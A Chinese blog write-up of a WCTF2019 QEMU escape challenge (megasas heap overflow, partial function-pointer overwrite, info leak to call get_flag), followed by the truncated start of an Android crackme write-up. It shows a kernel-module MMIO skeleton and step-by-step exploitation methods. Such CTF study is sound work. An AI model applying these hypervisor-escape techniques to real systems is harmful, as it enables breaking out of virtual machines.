<p>线下交流可知使用的qemu版本为qemu-3.1.0-rc5,按照<a href="httpss://wiki.qemu.org/Hosts/Linux">文档</a>从源码编译,编译前建议安装文档里推荐的附加package,不然在程序断下时来会出现把鼠标卡死的状况。可开启debug和关闭pie方便我们的调试分析:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./configure <span class="nt">--enable-kvm</span> <span class="nt">--target-list</span><span class="o">=</span>x86_64-softmmu <span class="nt">--enable-debug</span> <span class="nt">--disable-pie</span>
make
<span class="nb">sudo </span>make <span class="nb">install</span>
</code></pre></div></div>
<p>使用gdb直接attach qemu进程时可能会出现长时间的等待,直接从gdb中启动就比较省事,并<a href="httpss://wiki.qemu.org/Documentation/Debugging">忽略</a>SIGUSR1,当然也可以写个<a href="httpss://blog.csdn.net/iamanda/article/details/54587104">文件</a>启动:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo gdb -q --args qemu-system-x86_64 -m 2048 -hda ~/opt/virtualhole/Centos7-Guest.img --enable-kvm -device megasas
handle SIGUSR1 noprint nostop
</code></pre></div></div>
<p>qemu/kvm作为一个hypervisor会对外部设备进行模拟,客户机中的程序一般通过对应设备的驱动程序和这些虚拟设备交互,而这些虚拟设备暴露的攻击面,我们在测试时就需要编写对应操作系统的驱动程序来直接和虚拟设备交互了。驱动程序的编写可参考<a href="httpss://lwn.net/Kernel/LDD3/">《LINUX设备驱动编程一书》</a>,linux内核模块的<a href="httpss://stackoverflow.com/questions/20301591/m-option-in-make-command-makefile">Makefile</a>如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ifneq ($(KERNELRELEASE),)
obj-m := virtualhole.o
else
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
endif
</code></pre></div></div>
<p>关于更多的攻击面和深入研究,可参看<a href="httpss://bbs.pediy.com/thread-224371.htm">《QEMU 与 KVM 虚拟化安全研究介绍》</a>,VictorV师傅领进门了哇。</p>
<h1>0x01 题目分析</h1>
<p>根据提示信息<code class="language-plaintext highlighter-rouge">qemu-system-x86_64 -m 2048 -hda Centos7.img --enable-kvm -device megasas</code>或者megasas.c中的注释信息<code class="language-plaintext highlighter-rouge">QEMU MegaRAID SAS 8708EM2 Host Bus Adapter emulation</code>,都可知这是一个<a href="httpss://baike.baidu.com/item/RAID%E7%A3%81%E7%9B%98%E9%98%B5%E5%88%97">RAID</a>存储设备。根据文件目录<code class="language-plaintext highlighter-rouge">hw/scsi/megasas.c</code>可知使用的是SCSI接口。</p>
<p>其实稍微了解的同学,可直接从<code class="language-plaintext highlighter-rouge">qemu-system-x86_64 -device ?</code>中知晓:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g5a5f92qorj20kc07qmyj.jpg" alt="" /></p>
<p>或者在客户机中执行<code class="language-plaintext highlighter-rouge">lshw</code>,还能看到设备的I/O端口和I/O内存:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g5a5f9gra7j20sf09e3yo.jpg" alt="" /></p>
<p>因为是修改过后的megasas.c文件,有个取巧的套路是diff原文件快速定位可能出现的问题点,虽然实战环境没有那么直接,权当这次是在补丁分析吧。diff文件详见<a href="httpss://gist.github.com/Larryxi/98fa732415fdd9f80dbf877901e08815">gist</a>,其主要是新增了<code class="language-plaintext highlighter-rouge">megasas_queue_write</code>的处理内容:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>***************
*** 2189,2195 ****
static void megasas_queue_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
! return;
}
static const MemoryRegionOps megasas_queue_ops = {
--- 2410,2422 ----
static void megasas_queue_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
! MegasasState *s = opaque;
! PCIDevice *pci_dev = PCI_DEVICE(s);
!
! if(!mega_main.pci_dev){
! mega_main.pci_dev = pci_dev;
! }
! handle_plus_write(&mega_main, addr>>2, val);
}
</code></pre></div></div>
<p>原始在<code class="language-plaintext highlighter-rouge">megasas_scsi_realize</code>函数中初始化了对megasas_queue的操作<code class="language-plaintext highlighter-rouge">megasas_queue_ops</code>内存区段长度为0x40000,对应的I/O内存就是上图中的<code class="language-plaintext highlighter-rouge">0xfeb80000-0xfebbffff</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">memory_region_init_io</span><span class="p">(</span><span class="o">&</span><span class="n">s</span><span class="o">-></span><span class="n">mmio_io</span><span class="p">,</span> <span class="n">OBJECT</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="o">&</span><span class="n">megasas_mmio_ops</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span>
<span class="s">"megasas-mmio"</span><span class="p">,</span> <span class="mh">0x4000</span><span class="p">);</span>
<span class="n">memory_region_init_io</span><span class="p">(</span><span class="o">&</span><span class="n">s</span><span class="o">-></span><span class="n">port_io</span><span class="p">,</span> <span class="n">OBJECT</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="o">&</span><span class="n">megasas_port_ops</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span>
<span class="s">"megasas-io"</span><span class="p">,</span> <span class="mi">256</span><span class="p">);</span>
<span class="n">memory_region_init_io</span><span class="p">(</span><span class="o">&</span><span class="n">s</span><span class="o">-></span><span class="n">queue_io</span><span class="p">,</span> <span class="n">OBJECT</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="o">&</span><span class="n">megasas_queue_ops</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span>
<span class="s">"megasas-queue"</span><span class="p">,</span> <span class="mh">0x40000</span><span class="p">);</span>
</code></pre></div></div>
<p>我们在内核模块中使用<code class="language-plaintext highlighter-rouge">ioremap</code>映射后就可以对I/O内存操作啦,试验性地编写内核模块和调试就能理清文件中新增的switch-case内容了:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <linux/init.h>
#include <linux/module.h>
#include <asm/io.h>
</span>
<span class="cp">#define PHYS_ADDR 0xfeb80000
#define MAP_PHYS_LEN 0x1000
</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"Dual BSD/GPL"</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">exploit</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">mapped_addr</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">writel</span><span class="p">(</span><span class="mh">0x200</span><span class="p">,</span> <span class="n">mapped_addr</span><span class="o">+</span><span class="mi">1</span><span class="o">*</span><span class="mi">4</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">virtualhole_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_ALERT</span> <span class="s">"VirtualHole Init</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">mapped_addr</span> <span class="o">=</span> <span class="n">ioremap</span><span class="p">(</span><span class="n">PHYS_ADDR</span><span class="p">,</span> <span class="n">MAP_PHYS_LEN</span><span class="p">);</span>
<span class="n">exploit</span><span class="p">(</span><span class="n">mapped_addr</span><span class="p">);</span>
<span class="n">iounmap</span><span class="p">(</span><span class="n">mapped_addr</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">virtualhole_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_ALERT</span> <span class="s">"VirtualHole Exit</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">module_init</span><span class="p">(</span><span class="n">virtualhole_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">virtualhole_exit</span><span class="p">);</span>
</code></pre></div></div>
<p>其实读源代码也容易弄懂逻辑,其主要定义了两个结构:Block和frame,两者均使用<code class="language-plaintext highlighter-rouge">calloc</code>动态申请,预测是需要找个溢出的漏洞,间接调用在frame_header中保存的get_flag函数指针即可:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_data_block</span><span class="p">{</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">buffer</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">size</span><span class="p">;</span>
<span class="p">}</span> <span class="n">data_block</span><span class="p">;</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_frame_header</span><span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">size</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">offset</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">frame_buff</span><span class="p">;</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">get_flag</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">dst</span><span class="p">);</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">write</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">dst</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">src</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">size</span><span class="p">);</span>
<span class="kt">uint32_t</span> <span class="n">reserved</span><span class="p">[</span><span class="mi">56</span><span class="p">];</span>
<span class="p">}</span> <span class="n">frame_header</span><span class="p">;</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_mainState</span><span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">data_size</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">block_size</span><span class="p">;</span>
<span class="n">PCIDevice</span> <span class="o">*</span><span class="n">pci_dev</span><span class="p">;</span>
<span class="n">frame_header</span><span class="o">*</span> <span class="n">frame_header</span><span class="p">;</span>
<span class="p">}</span> <span class="n">mainState</span><span class="p">;</span>
</code></pre></div></div>
<p>frame结构作为一个中间者,在客户机端和block中进行数据的传递,并且frame_header中的size有时会有0x200字节的限制。而<code class="language-plaintext highlighter-rouge">megasas_quick_read</code>函数则可以直接和相应block交互,如图所示:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g5a5f9w2xej20s607taaa.jpg" alt="" /></p>
<p>在<code class="language-plaintext highlighter-rouge">megasas_quick_read</code>函数中也有对<code class="language-plaintext highlighter-rouge">pci_dma_read</code>的调用,这里涉及到了直接内存访问(DMA)的<a href="https://www.embeddedlinux.org.cn/emb-linux/kernel-driver/201702/12-6170.html">内容</a>, 我的理解是其直接在物理内存上交换数据进行处理,使用<code class="language-plaintext highlighter-rouge">kmalloc</code>等函数分配一段物理地址连续的内存,填充上我们的数据之后,将这个位于低端内存的内核逻辑地址经<code class="language-plaintext highlighter-rouge">virt_to_phys</code><a href="httpss://blog.csdn.net/macrossdzh/article/details/5958368">函数</a>转为物理地址,传递给<code class="language-plaintext highlighter-rouge">pci_dma_read</code>读取:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g5a5famayoj20o70dit9w.jpg" alt="" /></p>
<p>让我们来花十分钟看一下可疑的<code class="language-plaintext highlighter-rouge">megasas_quick_read</code>函数:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">megasas_quick_read</span><span class="p">(</span><span class="n">mainState</span> <span class="o">*</span><span class="n">mega_main</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">addr</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">uint16_t</span> <span class="n">offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">buff_size</span><span class="p">,</span> <span class="n">size</span><span class="p">;</span>
<span class="n">data_block</span> <span class="o">*</span><span class="n">block</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">buff</span><span class="p">;</span>
<span class="k">struct</span><span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">size</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">readback_addr</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">block_id</span><span class="p">;</span>
<span class="p">}</span> <span class="n">reader</span><span class="p">;</span>
<span class="n">pci_dma_read</span><span class="p">(</span><span class="n">mega_main</span><span class="o">-></span><span class="n">pci_dev</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="o">&</span><span class="n">reader</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">reader</span><span class="p">));</span>
<span class="n">offset</span> <span class="o">=</span> <span class="n">reader</span><span class="p">.</span><span class="n">offset</span><span class="p">;</span>
<span class="n">size</span> <span class="o">=</span> <span class="n">reader</span><span class="p">.</span><span class="n">size</span><span class="p">;</span>
<span class="n">block</span> <span class="o">=</span> <span class="o">&</span><span class="n">Blocks</span><span class="p">[</span><span class="n">reader</span><span class="p">.</span><span class="n">block_id</span><span class="p">];</span>
<span class="n">buff_size</span> <span class="o">=</span> <span class="p">(</span><span class="n">size</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="mh">0x7</span><span class="p">)</span><span class="o">&</span><span class="mh">0xfff8</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">buff_size</span> <span class="o">||</span> <span class="n">buff_size</span> <span class="o"><</span> <span class="n">offset</span> <span class="o">||</span>
<span class="n">buff_size</span> <span class="o"><</span> <span class="n">size</span> <span class="p">){</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">block</span><span class="o">-></span><span class="n">buffer</span><span class="p">){</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">buff</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="n">buff_size</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">size</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">>=</span> <span class="n">block</span><span class="o">-></span><span class="n">size</span><span class="p">){</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">buff</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">block</span><span class="o">-></span><span class="n">buffer</span><span class="p">,</span> <span class="n">block</span><span class="o">-></span><span class="n">size</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">buff</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">block</span><span class="o">-></span><span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">pci_dma_write</span><span class="p">(</span><span class="n">mega_main</span><span class="o">-></span><span class="n">pci_dev</span><span class="p">,</span> <span class="n">reader</span><span class="p">.</span><span class="n">readback_addr</span><span class="p">,</span>
<span class="n">buff</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">buff</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>其中接收的reader结构体内容可控,block_id有范围检查,offset和size也做的有整数溢出的检查。关键点就在于<code class="language-plaintext highlighter-rouge">memcpy</code>附近,使用<code class="language-plaintext highlighter-rouge">if(size + offset >= block->size)</code>作为判断条件没错,可以理解为<code class="language-plaintext highlighter-rouge">if(buff_len >= block_size)</code>,但应该是<code class="language-plaintext highlighter-rouge">memcpy(buff, block->buffer, block->size)</code>才能保证在向buff中拷贝时不会溢出,如此一来最多可以溢出offset个字节。从另一个角度考虑,正确的写法也可以是<code class="language-plaintext highlighter-rouge">if(size >= block->size)</code>。</p>
<h1>0x02 局部写入</h1>
<p>如果溢出能覆盖frame_header中保存的write函数指针,那么在调用<code class="language-plaintext highlighter-rouge">megasas_framebuffer_store</code>或<code class="language-plaintext highlighter-rouge">megasas_framebuffer_readback</code>函数后即可劫持控制流。作为一道CTF题目,作者贴心地提供了get_flag函数简化了我们的利用流程。</p>
<p>首先想到的是不借助信息泄露漏洞,溢出write函数指针的最后一个字节(小端序),使其变为get_flag地址,两者的参数列表类似,调用<code class="language-plaintext highlighter-rouge">megasas_framebuffer_store</code>即可把flag信息写入block,最终通过<code class="language-plaintext highlighter-rouge">megasas_quick_read</code>正常读取就可以了。</p>
<p>要溢出frame_header结构,就得使<code class="language-plaintext highlighter-rouge">megasas_quick_read</code>中<code class="language-plaintext highlighter-rouge">calloc</code>分配的buff位于frame_header之上,如图所示:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1g5a5fb0cfhj20cb0b5q30.jpg" alt="" /></p>
<p>如果你对常规的<a href="httpss://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/">glibc堆分配</a>比较熟悉,不难发现上图中省略了chunk_header信息。要完成此布局,我这里使用的方法是先分配BASE_ID个大小的chunk,将Small Bin和Large Bin都耗尽,乃至是从Top Chunk上分配堆块。接着释放<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+1]</code>和<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+3]</code>堆块(防止合并相邻free chunk),分配frame_header和frame_buff结构后释放<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+0]</code>堆块,在<code class="language-plaintext highlighter-rouge"> megasas_quick_read</code>中分配的buff就可以定位在frame_header之上了:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g5a5fc320yj20xu0p0gpk.jpg" alt="" /></p>
<p>总体的攻击思路如下:</p>
<ol>
<li>根据上述思路完成堆内存布局。</li>
<li><code class="language-plaintext highlighter-rouge">kzalloc</code>分配溢出使用的payload,<code class="language-plaintext highlighter-rouge">virt_to_phys</code>转换后经case 8和case 10,存储至<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+4]</code>中。</li>
<li>经case 12调用<code class="language-plaintext highlighter-rouge">megasas_quick_read</code>触发溢出覆盖write指针低位一字节。</li>
<li>经case 10调用<code class="language-plaintext highlighter-rouge">megasas_framebuffer_store</code>,间接调用<code class="language-plaintext highlighter-rouge">get_flag</code>函数将flag字符串写入<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+4]</code>中。</li>
<li>经case 12正常读取<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+4]</code>中的flag信息。</li>
</ol>
<p>代码详见<a href="httpss://gist.github.com/Larryxi/89b8ab78e183d99e54b89adda8074ee3">gist</a>,其中有几点需注意:</p>
<ol>
<li>overwrite_payload结构体内部对齐会使溢出的位移有所偏差,所以在其中均使用<code class="language-plaintext highlighter-rouge">uint8_t</code>类型规避此问题。</li>
<li>溢出过程中需要考虑freme_header堆块的chunk_header,保持该堆块的size为0x115,绕过<code class="language-plaintext highlighter-rouge">free(buff)</code>过程中double free的检查。</li>
<li><code class="language-plaintext highlighter-rouge">megasas_quick_read</code>过程中传递的reader结构体,生成方法和步骤2一样。</li>
<li>我搭建的环境中get_flag的偏移为0x55,这256个偏移的爆破成本我觉得是可以接受的。</li>
</ol>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g5a5fd7ha1j21a90j1gqi.jpg" alt="" /></p>
<h1>0x03 信息泄露</h1>
<p>没有信息泄露终归是胜之不武,拿着能溢出的frame_header结构看看是否有信息泄露点。在<code class="language-plaintext highlighter-rouge">megasas_framebuffer_store</code>函数中,尾部拷贝的size长度是我们溢出可控的,源frame_buff的长度只有0x200,只要size不大于block的size,即可将frame_buff后面的内容拷贝至block中,信息泄露因此产生:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">megasas_framebuffer_store</span><span class="p">(</span><span class="n">mainState</span> <span class="o">*</span><span class="n">mega_main</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">block_id</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">frame_header</span> <span class="o">*</span><span class="n">header</span> <span class="o">=</span> <span class="n">mega_main</span><span class="o">-></span><span class="n">frame_header</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">src</span> <span class="o">=</span> <span class="n">header</span><span class="o">-></span><span class="n">frame_buff</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">header</span><span class="o">-></span><span class="n">offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">size</span> <span class="o">=</span> <span class="n">header</span><span class="o">-></span><span class="n">size</span><span class="p">;</span>
<span class="n">data_block</span> <span class="o">*</span><span class="n">block</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">block_id</span> <span class="o">>=</span> <span class="n">MAX_BLOCK_ID</span><span class="p">){</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">block</span> <span class="o">=</span> <span class="o">&</span><span class="n">Blocks</span><span class="p">[</span><span class="n">block_id</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="n">block</span><span class="o">-></span><span class="n">buffer</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="o">||</span>
<span class="n">size</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">></span> <span class="n">block</span><span class="o">-></span><span class="n">size</span> <span class="o">||</span>
<span class="n">size</span> <span class="o">+</span> <span class="n">offset</span> <span class="o"><</span> <span class="n">size</span> <span class="o">||</span>
<span class="n">size</span> <span class="o">+</span> <span class="n">offset</span> <span class="o"><</span> <span class="n">offset</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">header</span><span class="o">-></span><span class="n">write</span><span class="p">(</span><span class="n">block</span><span class="o">-></span><span class="n">buffer</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>当然是要泄露frame_header中保存的函数指针内容,内存布局就要求frame_header位于frame_buff之后,如图所示:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1g5a5fdrcmcj20e10djaa8.jpg" alt="" /></p>
<p>总体的攻击思路如下:</p>
<ol>
<li>使用相同思路完成堆内存布局。</li>
<li>将覆盖<code class="language-plaintext highlighter-rouge">frame_header->size</code>为0x500的payload,经case 8和case 10传递至<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+0]</code>中。</li>
<li>经case 12调用<code class="language-plaintext highlighter-rouge">megasas_quick_read </code>仅溢出size字段。</li>
<li>经case 10调用<code class="language-plaintext highlighter-rouge">megasas_framebuffer_store</code>函数,从frame_buff开始拷贝0x500字节至<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+4]</code>中。</li>
<li>经case 12正常读取<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+4]</code>内容,获取到泄露的frame_header结构。</li>
<li>经case 2申请分配<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+2]</code>,经case 5释放frame_header和frame_buff,经case 4重新分配frame结构,最后经case 3释放<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+2]</code>内容。</li>
<li>将覆盖frame_header中的size为0x200和write函数指针为get_flag的payload,同步骤2传递至<code class="language-plaintext highlighter-rouge">Blocks[BASE_ID+0]</code>中。</li>
<li>经case 12调用<code class="language-plaintext highlighter-rouge">megasas_quick_read </code>溢出frame_header的size和write字段。</li>
<li>经case 11调用<code class="language-plaintext highlighter-rouge">megasas_framebuffer_readback</code>函数,将flag信息拷贝至frame_buff中。</li>
<li>经case 9调用<code class="language-plaintext highlighter-rouge">pci_dma_write</code>函数,最终取回flag字符串。</li>
</ol>
<p>以上在泄露出get_flag函数地址后,可以和之前“局部写入”走相同的简便思路。这里使用frame_buff来传递flag虽然麻烦但效果是一样的。需要注意的是在第二次存放payload时,<code class="language-plaintext highlighter-rouge">frame_header-size</code>需要等于0x200才能调用<code class="language-plaintext highlighter-rouge">pci_dma_read</code>函数,所以多了一个frame结构重分配的步骤6。利用代码详见<a href="httpss://gist.github.com/Larryxi/eca65a4d806e39fc4d619e70d7ede7ef">gist</a>。</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g5a5feq0zwj20wo0ijn15.jpg" alt="" /></p>
<h1>0x04 总结反思</h1>
<ol>
<li>堆上面的漏洞利用和堆分配机制密切相关,有机会可以多了解Windows上的堆分配和堆风水的有关内容。</li>
<li>记忆天生没有别人好,练就是了。</li>
</ol>
Larryxi
0x00 环境搭建 VirtualHole是WCTF2019线下赛一道关于qemu虚拟机逃逸的题目,也是一个qemu漏洞挖掘的入门机会。作者给出了修改后的megasas.c及安装好的虚拟机镜像文件,无疑是要搭建针对qemu的调试环境。
WCTF 2019 Online Android Crackme Write Up
2019-07-09T00:00:00+00:00
2019-07-09T00:00:00+00:00
https://larryxi.github.io/2019/07/09/wctf-2019-online-android-crackme-write-up
<h1>0x00 参赛初衷</h1>
<p>懂的人会问你打过什么CTF或者挖过什么洞,仔细一想两者都会是对自己能力的突破,多参加点高质量的赛事终究是有益无害的,如果能学到新姿势或者入个门那更是赚到了。作为老油条只能被gd师傅带着打打线上赛,个人也就会做两个签到的安卓逆向题,新鲜接触青涩记录。</p>
<!-- more -->
<h1>0x01 Crackme1</h1>
<p>JEB打开Crackme1.apk,搜索字符串<code class="language-plaintext highlighter-rouge">Welcome</code>定位至MainActivity,其调用native方法<code class="language-plaintext highlighter-rouge">doSomeThing</code>处理账号密码,这就<a href="http://www.tasfa.cn/index.php/2018/12/19/android-sty-native/">意味着</a>我们要分析apk中的.so文件了:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4trzcovztj20js0ert9m.jpg" alt="" /></p>
<p>从简单的<code class="language-plaintext highlighter-rouge">/lib/x86/libtest-jni.so</code>入手,搜索<code class="language-plaintext highlighter-rouge">Opps</code>的base64编码定位至<code class="language-plaintext highlighter-rouge">z</code>函数,虽然可以F5看但不如结合动态调试来得直接。安装Android Studio理解<a href="https://developer.android.com/studio/command-line/adb#howadbworks">adb</a>的用法,debug apk时创建Nexus 6 API 25的虚拟设备(可以<code class="language-plaintext highlighter-rouge">su</code>至root权限),上传IDA 7的android_x86_server后进行<a href="https://blog.csdn.net/wmh_100200/article/details/72847878">远程调试</a>。</p>
<p>该函数对接收的<code class="language-plaintext highlighter-rouge">Name</code>值计算SHA1后再变换一番,和处理后的<code class="language-plaintext highlighter-rouge">Password</code>比较,相同则认为登录成功:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1g4trzd2gr1j21eg0ixwhl.jpg" alt="" /></p>
<p>由于题目中给的用户名是固定的,所以其比较的<code class="language-plaintext highlighter-rouge">s2</code>也是固定的。只需关注密码的处理操作,是进行了一次base64解码:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1g4trzdewlpj21fs0jxtc5.jpg" alt="" /></p>
<p>将用户名的比较值进行base64编码即为正确密码:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1g4trzdq4xnj20qi0cqwfd.jpg" alt="" /></p>
<h1>0x02 Crackme2_Jessie</h1>
<p>Android Emulator模拟打开Crackme2_Jessie.apk,输入账号密码报错为<code class="language-plaintext highlighter-rouge">Name or Password Error!</code>,对应在Main2Activity中根本没有任何的处理操作:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1g4trze534cj20po08smxu.jpg" alt="" /></p>
<p>真正的处理在MainActivity中,接收密码后进入native层的<code class="language-plaintext highlighter-rouge">stringFromJNI</code>逻辑:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1g4trzek3umj20si0eq75g.jpg" alt="" /></p>
<p>想动态调试就必须进入MainActivity,那意味着要重打包。根据CTF的常见<a href="https://blog.csdn.net/xiaoi123/article/details/79262538">套路</a>,修改AndroidManifest.xml以启动<code class="language-plaintext highlighter-rouge">com.example.bear.helloworld.MainActivity</code>:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><activity</span> <span class="na">android:name=</span><span class="s">"com.example.bear.helloworld.MainActivity"</span> <span class="na">android:screenOrientation=</span><span class="s">"portrait"</span><span class="nt">></span>
<span class="nt"><intent-filter></span>
<span class="nt"><action</span> <span class="na">android:name=</span><span class="s">"android.intent.action.MAIN"</span><span class="nt">/></span>
<span class="nt"><category</span> <span class="na">android:name=</span><span class="s">"android.intent.category.LAUNCHER"</span><span class="nt">/></span>
<span class="nt"></intent-filter></span>
<span class="nt"></activity></span>
</code></pre></div></div>
<p><a href="https://resources.infosecinstitute.com/android-hacking-security-part-17-cracking-android-app-binaries/#gref">然后</a>使用<a href="https://ibotpeaches.github.io/Apktool/install/">apktool</a>重新编译Crackme2_Jessie.apk,对<code class="language-plaintext highlighter-rouge">dist</code>目录下的输出文件签名后重装apk即可:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>keytool <span class="nt">-genkey</span> <span class="nt">-alias</span> key.keystore <span class="nt">-keyalg</span> RSA <span class="nt">-validity</span> 20000 <span class="nt">-keystore</span> key/key.keystore
